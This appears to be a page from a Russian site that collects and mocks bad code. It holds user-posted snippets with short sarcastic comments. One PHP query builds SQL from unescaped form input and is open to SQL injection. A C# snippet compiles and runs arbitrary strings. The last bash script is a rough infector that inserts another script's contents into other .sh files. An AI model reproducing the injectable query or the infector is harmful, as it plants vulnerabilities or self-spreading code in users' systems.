- 1
length = int((re.findall(r"top:[1-9]\d*",temp))[-1][4:])*2.54/72-0.6
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−99.7
length = int((re.findall(r"top:[1-9]\d*",temp))[-1][4:])*2.54/72-0.6
+153
$res1 = mysql_query("INSERT INTO tbl_orders
(date_order,name,id_city,city_text,kod_tel_1,tel_1,kod_tel_2,tel_2,description,subject_text,id_teacher,id_category,category_text,check_student,place_student,check_teacher,place_teacher,price,email,icq,order_close,id_status,to_send,id_whence_came,text_whence_came,one_teacher)
VALUES ('$ts','$name','$city','$other_city','$kod_tel_1','$tel_1','$kod_tel_2','$tel_2','$prim','$other','$id_rep','$category','$other_cat','$check_uch','$district_uch','$check_prep','$district_prep','$stoim','$email','$icq','0','1','1','$whence_came','$text_whence_came','$one_teacher')")
or die ("Query failed".mysql_error());
Услада ума, любящего искать связи. Автор чутка лажанул — некоторые переменные всё же совпадают с полями таблицы.
+158.6
if(isset($_POST['submit']))
{
send($_POST['id_rep'],$_POST['name'],$_POST['city'],$_POST['other_city'],$_POST['kod_tel_1'],$_POST['tel_1'],$_POST['kod_tel_2'],$_POST['tel_2'],$_POST['prim'],$_POST['res'],$_POST['category'],$_POST['other_cat'],$_POST['check_uch'],$_POST['check_prep'],$_POST['district_uch'],$_POST['district_prep'],$_POST['stoim'],$_POST['email'],$_POST['icq'],$_POST['whence_came'],$_POST['text_whence_came'],$_POST['one_teacher']);
}
else
{
form($id_teacher,$_POST['name'],$_POST['city'],$_POST['other_city'],$_POST['kod_tel_1'],$_POST['tel_1'],$_POST['kod_tel_2'],$_POST['tel_2'],$_POST['prim'],$_POST['res'],$_POST['category'],$_POST['other_cat'],$_POST['check_uch'],$_POST['check_prep'],$_POST['district_uch'],$_POST['district_prep'],$_POST['stoim'],$_POST['email'],$_POST['icq'],$_POST['whence_came'],$_POST['text_whence_came'],$_POST['one_teacher']);
}
Как на самом деле правильно обрабатывать формы.
+165.4
<script language="JavaScript">
function change_city()
{
document.getElementById("header_18").style.display='none';
document.getElementById("header_18_add").style.display='block';
document.getElementById("header_18_add").id='header_18'; //т.к. стили прописаны для id
}
</script>
</head>
<body>
<div id="mega_scroller">
<div id="mega_scroller">
document.getElementById("header_18_add") .id='header_18'; //т.к. стили прописаны для id
http://www.cinemapark.ru/ - гении делали
+96.3
public class zTimer
{
object SomeTag;
int StartTime;
int TimeOut;
public int Start(int Value, object tag)
{
SomeTag = tag;
TimeOut = Value;
StartTime = MakeLngTime(DateTime.Now);
return StartTime;
}
public int MakeLngTime(DateTime Tm)
{
return ((Tm.Day * 24 + Tm.Hour) * 60 + Tm.Minute) * 60 + Tm.Second;
}
public bool IsTimeOut(object tag)
{
if (tag != null && SomeTag != null)
{
if (tag == SomeTag)
{
if (MakeLngTime(DateTime.Now) > StartTime + TimeOut)
{
return true;
}
else
{
return false;
}
}
else
{
StartTime = MakeLngTime(DateTime.Now);
SomeTag = tag;
return false;
}
}
else
{
if (MakeLngTime(DateTime.Now) > StartTime + TimeOut)
{
return true;
}
else
{
return false;
}
}
}
}
Могучий таймер. Особое внимание стоит уделить методу MakeLngTime.
+130.8
private static bool EvaluteExpression(string expression, out object result)
{
string source =
string.Format("public static class Evalutor{{public static object GetValue(){{return {0};}}}}",
expression);
using (Microsoft.CSharp.CSharpCodeProvider provider = new Microsoft.CSharp.CSharpCodeProvider())
{
System.CodeDom.Compiler.CompilerParameters compilerParams =
new System.CodeDom.Compiler.CompilerParameters
{
GenerateInMemory = true,
GenerateExecutable = false
};
System.CodeDom.Compiler.CompilerResults compileResults = provider.CompileAssemblyFromSource(compilerParams, source);
if (compileResults.NativeCompilerReturnValue == 0)
{
Type type = compileResults.CompiledAssembly.GetType("Evalutor");
MethodInfo method = type.GetMethod("GetValue");
result = method.Invoke(null, null);
return true;
}
}
result = null;
return false;
}
некогда было писать эвалютор))
работает и так
+126.6
private OperatingSystem(SerializationInfo info, StreamingContext context)
{
SerializationInfoEnumerator enumerator = info.GetEnumerator();
while (enumerator.MoveNext())
{
string name = enumerator.Name;
if (name != null)
{
if (!(name == "_version"))
{
if (name == "_platform")
{
goto Label_0067;
}
if (name == "_servicePack")
{
goto Label_0089;
}
}
else
{
this._version = (Version) info.GetValue("_version", typeof(Version));
}
}
continue;
Label_0067:
this._platform = (PlatformID) info.GetValue("_platform", typeof(PlatformID));
continue;
Label_0089:
this._servicePack = info.GetString("_servicePack");
}
if (this._version == null)
{
throw new SerializationException(Environment.GetResourceString("Serialization_MissField", new object[] { "_version" }));
}
}
Это добыто из недр .NET Framework с помощью рефлектора..)
+151.4
//фигура
class Figura
{ $type
$ploshad
function A($t)
{echo $t}
}
// круг треугольник
class CRTR extendes Figura
{ $ r
$ a
$ b
$c
function B($B)
{echo $a
echo $b
echo $d
echo $c
}
}
// прямоугольник квадрат
class PRKV extendes CRTP
{$ d
$ e
}
function C ($C)
{ echo $ d
echo $ e
}
$ l=new PRKV;
}
class Myclass
{$s
}
function Ploshad KR($s1)
{$this>s1=r*r*3.14;
}
function ploshad($s)
{$this>s=a*b }
Решение геометрической задачи...
нет слов...
−124.9
#!/bin/bash
cc=0
cf=`cat $1`
key=$2
cbc=`cat $1 | wc -c`
lc=`cat $1 | wc -l`
while let "lc>=0"
do
cfl=`cat $1 | head -n $lc | tail -n 1`
let lc--
ccc=`echo $cfl | wc -c`
cccc=0
while let "cccc<=ccc"
do
sl=`echo -n ${cfl:$cccc:$key} | rev`
echo $sl
let "cccc=cccc+key"
done
done
−122.3
#!/bin/bash
grep ttt y
for fl in `find $1 | grep .sh$`
do
l1=`cat $fl | head -n 2 | grep ttt`
l2="grep ttt y"
case $l1 in
$l2)
echo "yes "$l1" "$fl
;;
*)
echo "no "$l1" "$fl
echo '#!/bin/bash' > $fl.2
echo 'grep ttt y' >> $fl.2
cat $fl | gawk '{ if(/exit/){ system("cat /home/alice/pp.sh") } else { print $0 } }' >> $fl.2
cat $fl.2
# cp $fl.2 $fl
rm $fl.2
esac
done
cp ~/pp.sh~ ~/pp.sh
exit 0